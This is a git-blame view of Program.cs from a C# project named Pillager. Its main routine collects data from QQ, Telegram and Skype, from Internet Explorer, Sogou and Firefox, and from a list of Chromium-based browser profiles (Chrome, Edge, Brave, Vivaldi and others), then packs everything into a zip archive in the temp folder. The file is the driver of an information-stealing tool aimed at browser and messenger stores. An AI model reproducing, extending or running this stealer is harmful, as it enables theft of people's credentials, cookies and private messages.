Pillager/Pillager/Program.cs

56 lines
2.3 KiB
C#
Raw Normal View History

2023-04-23 16:22:43 -07:00
using System;
using System.Collections.Generic;
using System.IO;
2023-09-27 17:07:33 -07:00
using System.IO.Compression;
2023-04-24 08:38:01 -07:00
using Pillager.Browsers;
2023-10-07 04:09:27 -07:00
using Pillager.IM;
2023-04-23 16:22:43 -07:00
namespace Pillager
{
internal class Program
{
static void Main(string[] args)
{
2023-06-20 01:09:56 -07:00
string savepath = Path.Combine(Path.GetTempPath(), "Pillager");
2023-09-27 17:07:33 -07:00
string savezippath = savepath + ".zip";
if (Directory.Exists(savepath)) Directory.Delete(savepath, true);
if (File.Exists(savezippath)) File.Delete(savezippath);
Directory.CreateDirectory(savepath);
2023-04-24 08:38:01 -07:00
2023-10-25 08:09:29 -07:00
//IM
2023-10-15 12:02:06 -07:00
QQ.Save(savepath);
2023-10-07 04:09:27 -07:00
Telegram.Save(savepath);
2023-10-23 01:17:19 -07:00
Skype.Save(savepath);
2023-10-25 08:09:29 -07:00
//Browser
2023-04-24 08:38:01 -07:00
IE.Save(savepath);
2023-10-25 08:09:29 -07:00
OldSogou.Save(savepath);//SogouExplorer < 12.x
2023-09-27 09:20:07 -07:00
FireFox.Save(savepath);
2023-04-24 08:38:01 -07:00
List<List<string>> browserOnChromium = new List<List<string>>()
{
new List<string>() { "Chrome", "Google\\Chrome\\User Data\\Default" } ,
new List<string>() { "Chrome Beta", "Google\\Chrome Beta\\User Data\\Default" } ,
new List<string>() { "Chromium", "Chromium\\User Data\\Default" } ,
new List<string>() { "Edge", "Microsoft\\Edge\\User Data\\Default" } ,
2023-09-27 17:07:33 -07:00
new List<string>() { "Brave-Browser", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
2023-04-24 08:38:01 -07:00
new List<string>() { "QQBrowser", "Tencent\\QQBrowser\\User Data\\Default" } ,
2023-09-27 09:20:07 -07:00
new List<string>() { "SogouExplorer", "Sogou\\SogouExplorer\\User Data\\Default" } ,
2023-04-24 08:38:01 -07:00
new List<string>() { "Vivaldi", "Vivaldi\\User Data\\Default" } ,
new List<string>() { "CocCoc", "CocCoc\\Browser\\User Data\\Default" }
//new List<string>() { "", "" } ,
};
foreach (List<string> browser in browserOnChromium)
{
string chromepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
browser[1]);
Chrome chrome = new Chrome(browser[0], chromepath);
2023-04-24 20:03:51 -07:00
chrome.Save(savepath);
2023-04-24 08:38:01 -07:00
}
2023-09-27 17:07:33 -07:00
//ZIP
ZipFile.CreateFromDirectory(savepath, savezippath);
Directory.Delete(savepath, true);
2023-04-23 16:22:43 -07:00
}
}
}